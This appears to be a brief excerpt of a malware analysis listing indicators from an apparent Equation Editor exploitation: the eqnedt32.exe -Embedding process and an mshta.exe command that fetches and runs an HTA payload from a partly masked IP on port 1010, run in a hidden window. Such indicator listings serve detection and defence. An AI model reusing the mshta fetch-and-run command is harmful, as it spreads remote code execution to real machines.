Technical Information
- '%WINDIR%\syswow64\mshta.exe' http://84.##.135.142:1010/hta &AAAAAAAC
- '84.##.135.142':1010
- '%WINDIR%\syswow64\mshta.exe' http://84.##.135.142:1010/hta &AAAAAAAC' (with hidden window)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding